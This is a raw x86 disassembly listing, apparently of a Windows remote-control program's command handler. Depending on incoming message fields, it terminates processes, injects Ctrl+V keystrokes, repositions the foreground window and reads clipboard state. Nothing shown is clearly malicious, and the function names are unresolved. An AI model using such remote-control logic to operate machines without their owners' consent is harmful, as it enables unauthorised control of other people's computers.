mov eax, dword [0x549644]
add eax, 0x5b
cmp eax, dword [0x5496d8]
jae 0x4e3345
push 0
push 0x3e8
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e3345
cmp eax, 0
je case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x1c]
and ax, 0xffff
mov word [0x54967c], ax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov ebx, dword [eax*4 + 0x53f950]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x5496e0], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x19
and al, 1
mov byte [ebp - 0xfd], al
cmp byte [ebp - 0xfd], 1
jne 0x4e339a
mov byte [0x53f478], 0xff
mov byte [0x53f4c0], 0
xor eax, eax
mov dword [0x549944], eax
jmp 0x4e33b6
call fcn.004dfad4
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5409d0]
cmp dword [eax], 0
jg 0x4e33aa
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x53f48c], al
cmp byte [0x53f48c], 0
je 0x4e3493
mov byte [0x5496a8], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54969c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5496a0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 0xc
and al, 0xf
mov byte [0x53f4b8], al
cmp byte [0x5496a9], 0
jle 0x4e3422
mov al, byte [0x5496a9]
mov byte [0x53f4bc], al
jmp 0x4e3437
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 8
and al, 0xf
mov byte [0x53f4bc], al
call fcn.004d9130
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x18]
and al, 0xf
mov byte [0x549690], al
test ebx, ebx
jle 0x4e3459
mov eax, ebx
call fcn.004dfb44
shl eax, 2
mov dword [0x53f4b4], eax
jmp 0x4e3468
mov eax, ebx
call fcn.004dfb44
shl eax, 3
mov dword [0x53f4b4], eax
mov eax, dword [0x53f4b4]
test eax, eax
jns 0x4e3474
add eax, 3
sar eax, 2
call fcn.004030b8
mov edx, eax
neg eax
add eax, eax
mov dword [0x53f4a0], eax
mov byte [0x5496e0], 1
jmp 0x4e3546
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
and al, 0xff
mov byte [0x5496a8], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0xc
and al, 0xf
mov byte [0x53f4b8], al
cmp byte [0x53f4b8], 2
jne 0x4e34d0
call fcn.0046eff0
fcomp dword [0x4e7b98]
fnstsw ax
sahf
jbe 0x4e34d0
mov byte [0x53f4b8], 3
cmp byte [0x5496a9], 0
jle 0x4e34e5
mov al, byte [0x5496a9]
mov byte [0x53f4bc], al
jmp 0x4e34fa
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x53f4bc], al
call fcn.004d9130
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 0xf
mov byte [0x549690], al
cmp dword [0x5496d8], 0xb47b
ja 0x4e3521
mov eax, ebx
call fcn.004dfb44
mov dword [0x53f4b4], eax
jmp 0x4e352b
mov dword [0x53f4b4], 0x3e8
mov dword [0x53f4a0], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x53fa98], eax
xor eax, eax
mov dword [0x5496ac], eax
cmp byte [0x5496e0], 0
je 0x4e3558
cmp byte [0x5496e1], 0
je 0x4e3578
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004b4f94
test al, al
je 0x4e3578
call fcn.004b5144
cmp byte [0x53f4bc], 3
je 0x4e3586
call fcn.004d1e4c
cmp byte [0x53f4bc], 4
je 0x4e3594
call fcn.004d3710
cmp dword [0x549894], 3
jne 0x4e35d1
movsx eax, byte [0x53f478]
mov edx, dword [0x53f4b4]
call fcn.004d2b90
cmp byte [0x53f4bc], 5
je 0x4e35c2
or eax, 0xffffffff
call fcn.004d2af8
jmp 0x4e35f6
mov edx, 2
or eax, 0xffffffff
call fcn.004d2b24
jmp 0x4e35f6
cmp byte [0x53f4bc], 5
je 0x4e35e1
call fcn.004d24c0
jmp 0x4e35f6
mov eax, dword [0x540b64]
cmp dword [eax], 0xffffffd8
jge 0x4e35f6
mov eax, dword [0x540b64]
mov dword [eax], 0xffffffd8
cmp byte [0x53f47c], 0
jne 0x4e37db
mov dl, 1
mov eax, dword [0x4222bc]
call fcn.004288f8
mov dword [0x549694], eax
mov dl, 7
mov eax, dword [0x549694]
call fcn.00429e70
mov dl, 1
mov eax, dword [0x4222bc]
call fcn.004288f8
mov dword [0x549698], eax
mov dl, 7
mov eax, dword [0x549698]
call fcn.00429e70
cmp dword [0x53f490], 0
jne 0x4e3657
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov dword [0x53f490], eax
cmp dword [0x53f494], 0
jne 0x4e3671
mov dl, 1
mov eax, dword [0x473ac0]
call fcn.00473c58
mov dword [0x53f494], eax
cmp dword [0x53f498], 0
jne 0x4e368b
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.0040377c
mov dword [0x53f498], eax
mov eax, dword [0x540ee4]
cmp dword [eax], 0
jne 0x4e36a9
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov edx, dword [0x540ee4]
mov dword [edx], eax
mov eax, dword [0x5407e4]
cmp dword [eax], 0
jne 0x4e36c7
mov dl, 1
mov eax, dword [0x473ac0]
call fcn.00473c58
mov edx, dword [0x5407e4]
mov dword [edx], eax
mov eax, dword [0x540444]
cmp dword [eax], 0
jne 0x4e36e5
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov edx, dword [0x540444]
mov dword [edx], eax
mov eax, dword [0x5408b0]
cmp dword [eax], 0
jne 0x4e3703
mov dl, 1
mov eax, dword [0x473ac0]
call fcn.00473c58
mov edx, dword [0x5408b0]
mov dword [edx], eax
mov eax, dword [0x540874]
cmp byte [eax], 0
jne 0x4e37b4
push 0
push 3
lea eax, [ebp - 0x930]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x930]
mov edx, 0x4e7ba4
call fcn.0046d740
mov dword [ebp - 0x50], eax
xor edx, edx
mov eax, dword [ebp - 0x50]
call fcn.004ae0e4
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x5408bc]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x934]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x934]
mov edx, 0x4e7bbc
call fcn.0046d740
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e37ac
dec dword [ebp - 0x50]
mov cl, 1
mov dl, 1
mov eax, dword [0x4fba94]
call fcn.0041f2ec
mov edx, dword [ebp - 0x50]
mov dword [eax + 0x30], edx
call fcn.0041f638
cmp dword [ebp - 0x50], 0
jg 0x4e378a
mov eax, dword [0x540874]
mov byte [eax], 1
mov word [0x53f374], 0
xor eax, eax
mov dword [0x5496c0], eax
xor eax, eax
mov dword [0x53f4cc], eax
xor eax, eax
mov dword [0x5496fc], eax
mov byte [0x53f47c], 0xff
jmp 0x4e37e7
xor edx, edx
mov eax, dword [0x549698]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x53f480], 0
cmp dword [0x53f4b4], 0x32
jge 0x4e382d
cmp byte [0x53f4b8], 3
je 0x4e382d
mov dword [0x549680], 0xffffffff
mov dword [0x549684], 0xffffffff
mov dword [0x549688], 0xffffffff
mov dword [0x54968c], 0xffffffff
jmp case.0x4e0a7d.10
mov dword [0x549680], 0
mov dword [0x549684], 0
mov dword [0x549688], 0
mov dword [0x54968c], 0
jmp case.0x4e0a7d.10
mov byte [0x53f480], 1
mov dword [0x53f4b4], 0x7d0
jmp case.0x4e0a7d.10
cmp byte [0x53f47c], 0
je case.0x4e0a7d.10
mov byte [0x53f47c], 0
mov byte [0x53f48c], 0
mov dword [0x53f4b4], 0x7d0
xor word [0x54967c], 0x1a0a
jmp 0x4e38ac
call fcn.004dfad4
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5409d0]
cmp dword [eax], 0
jg 0x4e38a0
mov eax, dword [0x549694]
call fcn.004037ac
mov eax, dword [0x549698]
call fcn.004037ac
mov eax, 0x53f49c
call fcn.0040e2f4
call fcn.004e07a8
cmp byte [0x53fad8], 0
jne 0x4e38f1
call fcn.004d3e38
call fcn.004d50ec
call fcn.004d5848
call fcn.004d3710
call fcn.004d1e4c
cmp dword [0x549894], 3
jne 0x4e390e
or eax, 0xffffffff
call fcn.004d2af8
jmp 0x4e3913
call fcn.004d24c0
call fcn.004fbe50
jmp case.0x4e0a7d.10
cmp byte [0x53f47c], 0
je case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x50], eax
cmp byte [0x53f48c], 0
jne 0x4e395f
cmp dword [ebp - 0x50], 2
jne 0x4e395f
call fcn.0046eff0
fcomp dword [0x4e7b98]
fnstsw ax
sahf
jbe 0x4e395f
mov dword [ebp - 0x50], 3
movsx eax, byte [0x53f4b8]
cmp eax, dword [ebp - 0x50]
je 0x4e3990
mov al, byte [ebp - 0x50]
mov byte [0x53f4b8], al
cmp byte [0x53f4b8], 2
jl 0x4e3990
mov dword [0x549680], 0
mov dword [0x549684], 0
cmp byte [0x5496a9], 0
jle 0x4e39a5
mov al, byte [0x5496a9]
mov byte [0x53f4bc], al
jmp 0x4e39ba
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x53f4bc], al
call fcn.004d9130
cmp byte [0x53f4bc], 3
je 0x4e39c8
call fcn.004d1e4c
cmp byte [0x53f4bc], 4
je 0x4e39d6
call fcn.004d3710
cmp dword [0x549894], 3
jne 0x4e3a13
movsx eax, byte [0x53f478]
mov edx, dword [0x53f4b4]
call fcn.004d2b90
cmp byte [0x53f4bc], 5
je 0x4e3a04
or eax, 0xffffffff
call fcn.004d2af8
jmp 0x4e3a38
mov edx, 2
or eax, 0xffffffff
call fcn.004d2b24
jmp 0x4e3a38
cmp byte [0x53f4bc], 5
je 0x4e3a23
call fcn.004d24c0
jmp 0x4e3a38
mov eax, dword [0x540b64]
cmp dword [eax], 0xffffffd8
jge 0x4e3a38
mov eax, dword [0x540b64]
mov dword [eax], 0xffffffd8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0x1f
mov ebx, dword [eax*4 + 0x53f950]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 8
and al, 1
mov byte [0x5496e0], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 9
and al, 1
mov byte [ebp - 0xfd], al
cmp byte [ebp - 0xfd], 0
jne 0x4e3a79
mov byte [0x53f478], 0
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 0xf
mov byte [0x549690], al
cmp byte [0x53f48c], 0
je 0x4e3abc
test ebx, ebx
jle 0x4e3aa4
mov eax, ebx
call fcn.004dfb44
shl eax, 2
mov dword [0x53f4b4], eax
jmp 0x4e3ab3
mov eax, ebx
call fcn.004dfb44
shl eax, 3
mov dword [0x53f4b4], eax
mov byte [0x5496e0], 1
jmp 0x4e3ae0
cmp dword [0x5496d8], 0xb47b
ja 0x4e3ad6
mov eax, ebx
call fcn.004dfb44
mov dword [0x53f4b4], eax
jmp 0x4e3ae0
mov dword [0x53f4b4], 0x3e8
cmp byte [0x5496e0], 0
je 0x4e3af6
cmp byte [0x5496e1], 0
je case.0x4e0a7d.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004b4f94
test al, al
je case.0x4e0a7d.10
call fcn.004b5144
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x10]
and ax, 0xffff
mov word [0x54967c], ax
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [0x5496e4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [0x5496e8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 0xffff
mov dword [0x5496ec], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
mov dword [0x5496f0], eax
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [0x5496f4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [0x5496f8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 0xffff
mov dword [0x5496fc], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
mov dword [0x549700], eax
jmp case.0x4e0a7d.10
lea eax, [ebp - 0xe4]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea eax, [ebp - 0xe4]
call fcn.004db5b4
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0
je 0x4e3bfa
mov ecx, dword [ebp - 0xe4]
mov dx, word [0x4e7b84]
mov al, 1
call fcn.004af020
jmp case.0x4e0a7d.10
xor ecx, ecx
mov dx, word [0x4e7bc8]
xor eax, eax
call fcn.004af020
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
xor dl, 1
mov eax, dword [0x540cc4]
mov eax, dword [eax]
mov eax, dword [eax + 0x300]
call fcn.0044f4c0
jmp case.0x4e0a7d.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a7d.10
lea eax, [ebp - 0x93c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov eax, dword [ebp - 0x93c]
lea edx, [ebp - 0x938]
call fcn.00408e1c
mov edx, dword [ebp - 0x938]
mov eax, 0x5498d8
call fcn.0040460c
push 0
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a7d.10
lea eax, [ebp - 0x64]
call fcn.004045b8
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0x9f
jne 0x4e3ccc
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 4], 0x20
jle 0x4e3ccc
lea edx, [ebp - 0x64]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4e3cf3
cmp eax, 0xffffffff
je 0x4e3cf3
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x64], 0
je case.0x4e0a7d.10
lea eax, [ebp - 0x40]
mov edx, dword [ebp - 0x64]
call fcn.00404650
jmp 0x4e16cd
mov eax, dword [ebp - 0x28]
call fcn.004ddfb0
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x940]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0x940]
mov eax, 0x549844
call fcn.00404e90
mov dl, 1
mov eax, dword [0x549844]
call fcn.004f7c24
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4e0a7d.10
mov byte [0x53f3e0], 2
call fcn.004d9d04
call fcn.004da6cc
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
jmp case.0x4e0a7d.10
cmp dword [0x54958c], 0
je case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x54958c]
je case.0x4e0a7d.10
mov edx, 3
mov eax, dword [0x549818]
call fcn.004f501c
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x74]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0x74]
mov eax, 0x4e7bd4
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e3e33
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x74]
call fcn.00404ae4
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xaf
jne 0x4e3e4f
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x28]
call fcn.004f2704
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xae
jne 0x4e3e70
or edx, 0xffffffff
mov eax, dword [ebp - 0x74]
call fcn.004094cc
call fcn.004f2808
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xb4
jne 0x4e3e92
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x549824]
call fcn.004048d8
jmp 0x4e16cd
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xb5
jne case.0x4e0a7d.10
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x549824]
call fcn.004048d8
jmp 0x4e16cd
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4e0a7d.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4e0a7d.10
lea eax, [ebp - 0x1e0]
push eax
push ebx
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1e0]
and ecx, 0xffff
mov eax, dword [ebp - 0x1dc]
shl eax, 0x10
or ecx, eax
mov edx, 0xf8
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov si, word [eax + 0x10]
and si, 0xffff
movsx esi, si
mov eax, dword [ebp - 0x2c]
mov edi, dword [eax + 0x10]
shr edi, 0x10
movsx edi, di
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x58], eax
push 0
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [ebp - 0x54]
push eax
push edi
push esi
push 0
push ebx
call sub.user32.dll_SetWindowPos
jmp case.0x4e0a7d.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4e0a7d.10
push 0
lea eax, [ebp - 0x200]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1e0]
push eax
push ebx
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 9
ja case.0x4e3fe6.0
jmp dword [eax*4 + 0x4e3fed]
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e422c
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4e4053
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e422c
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1f8]
sub edx, eax
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e422c
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4e40c8
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e422c
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1f8]
sub edx, eax
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4e4114
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e422c
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1f4]
sub edx, eax
mov dword [ebp - 0x1ec], edx
jmp 0x4e422c
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4e4171
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1f4]
sub edx, eax
mov dword [ebp - 0x1ec], edx
jmp 0x4e422c
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1f8]
sub edx, eax
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1f4]
sub edx, eax
mov dword [ebp - 0x1ec], edx
jmp 0x4e422c
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4e41f3
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4e4220
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1ec]
push eax
mov eax, dword [ebp - 0x1f0]
push eax
push 0
push ebx
call sub.user32.dll_SetWindowPos
jmp case.0x4e0a7d.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e4278
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
call fcn.004b0a04
test eax, eax
je case.0x4e0a7d.10
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab8
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
lea edx, [ebp - 0x944]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x944]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7be0
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x948]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x948]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
lea eax, [ebp - 0x94c]
call fcn.00471c18
mov eax, dword [ebp - 0x94c]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x540ea8]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e442f
mov eax, dword [0x549570]
call fcn.0046dd44
test al, al
je 0x4e442f
lea edx, [ebp - 0x950]
mov eax, 0x83
call fcn.004ab8a8
mov eax, dword [ebp - 0x950]
push eax
lea edx, [ebp - 0x954]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x954]
push eax
lea eax, [ebp - 0x958]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0x958]
pop eax
pop edx
call fcn.0046c30c
call fcn.0040b13c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0x95c]
mov eax, 0x84
call fcn.004ab8a8
mov eax, dword [ebp - 0x95c]
push eax
lea edx, [ebp - 0x960]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x960]
pop edx
call fcn.0046c7a4
lea edx, [ebp - 0x964]
mov eax, 0x85
call fcn.004ab8a8
mov eax, dword [ebp - 0x964]
push eax
lea edx, [ebp - 0x968]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x968]
pop edx
call fcn.0046d0fc
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab9
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
mov edx, 5
xor eax, eax
call fcn.004f501c
jmp case.0x4e0a7d.10
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3aba
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e447b
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
cmp byte [0x53fb78], 0
jne 0x4e45f1
call fcn.004b0b40
test eax, eax
jne 0x4e45f1
lea edx, [ebp - 0x96c]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x96c]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7be0
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x970]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x970]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
mov eax, dword [0x540b30]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e45f1
mov eax, dword [0x5408f4]
cmp byte [eax], 0
je 0x4e4530
mov eax, dword [0x5408f4]
mov al, byte [eax]
call fcn.004b0a30
test eax, eax
jne 0x4e4530
mov eax, dword [0x5408f4]
mov al, byte [eax]
xor ecx, ecx
mov edx, 2
call fcn.004b0fcc
lea edx, [ebp - 0x974]
mov eax, 0x83
call fcn.004ab8a8
mov eax, dword [ebp - 0x974]
push eax
lea edx, [ebp - 0x978]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x978]
pop edx
call fcn.0046d0fc
lea edx, [ebp - 0x97c]
mov eax, 0x84
call fcn.004ab8a8
mov eax, dword [ebp - 0x97c]
push eax
lea edx, [ebp - 0x980]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x980]
pop edx
call fcn.0046d0fc
lea edx, [ebp - 0x984]
mov eax, 0x85
call fcn.004ab8a8
mov eax, dword [ebp - 0x984]
push eax
lea edx, [ebp - 0x988]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x988]
pop edx
call fcn.0046d0fc
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3abb
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
mov edx, 5
xor eax, eax
call fcn.004f501c
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3abc
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
call fcn.004b0a04
mov dword [ebp - 0x78], eax
